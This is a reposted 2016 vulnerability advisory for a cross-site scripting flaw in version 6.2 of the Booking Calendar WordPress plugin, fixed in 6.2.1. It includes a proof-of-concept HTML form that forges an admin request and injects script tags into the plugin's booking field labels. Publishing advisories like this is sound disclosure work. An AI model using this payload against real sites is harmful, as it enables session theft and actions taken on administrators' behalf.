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WordPress Booking Calendar 6.2.1 Cross Site Scripting

WordPress Booking Calendar 6.2.1 Cross Site Scripting
Posted Aug 1, 2016
Authored by Securify B.V., Edwin Molenaar

WordPress Booking Calendar plugin version 6.2.1 suffers from a cross site request forgery vulnerability.

tags | exploit, xss, csrf
MD5 | 55044c232548d7a07875e8a9ec4d46c8

WordPress Booking Calendar 6.2.1 Cross Site Scripting

Change Mirror Download
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Cross-Site Scripting vulnerability in Booking Calendar WordPress Plugin
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Edwin Molenaar, July 2016

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Abstract
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A Cross-Site Scripting vulnerability was found in the Booking Calendar
WordPress Plugin. This issue allows an attacker to perform a wide
variety of actions, such as stealing users' session tokens, or
performing arbitrary actions on their behalf. In order to exploit this
issue, the attacker has to lure/force a victim into opening a malicious
website/link.

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OVE ID
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OVE-20160714-0003

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Tested versions
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These issues were successfully tested on Booking Calendar WordPress
Plugin version 6.2.

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Fix
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This issue is resolved in Booking Calendar version 6.2.1.

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Details
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https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_booking_calendar_wordpress_plugin.html

The vulnerability exists in the wpdev_bk_settings_form_labels() function from booking/lib/wpdev-settings-general.php (line 1492).

All input field on the Booking > Settings > Fields page are vulnerable to Cross-Site Scripting, eg http://<target>/wp-admin/admin.php?page=booking%2Fwpdev-booking.phpwpdev-booking-option&tab=form.

Also all the form from the Booking > Settings > Import tab are vulnerable to Cross-Site Scripting, however a valid anti-CSRF token in this tab is required, eg http://<target>/wp-admin/admin.php?page=booking%2Fwpdev-booking.phpwpdev-booking-option&tab=sync.
Proof of concept

<html>
<body>
<form action="http://<target>/wp-admin/admin.php?page=booking%2Fwpdev-booking.phpwpdev-booking-option&tab=form" method="POST">
<input type="hidden" name="booking_form_field_label1" value=""><script>alert(document.domain)</script>" />
<input type="hidden" name="booking_form_field_label2" value=""><script>alert(document.domain)</script>" />
<input type="hidden" name="booking_form_field_label3" value=""><script>alert(document.domain)</script>" />
<input type="hidden" name="booking_form_field_label6" value=""><script>alert(document.domain)</script>" />
<input type="hidden" name="booking_form_field_values6" value="" />
<input type="hidden" name="booking_form_field_label4" value=""><script>alert(document.domain)</script>" />
<input type="hidden" name="booking_form_field_active4" value="On" />
<input type="hidden" name="booking_form_field_label5" value=""><script>alert(document.domain)</script>" />
<input type="hidden" name="Submit" value="Save Changes" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

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Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.
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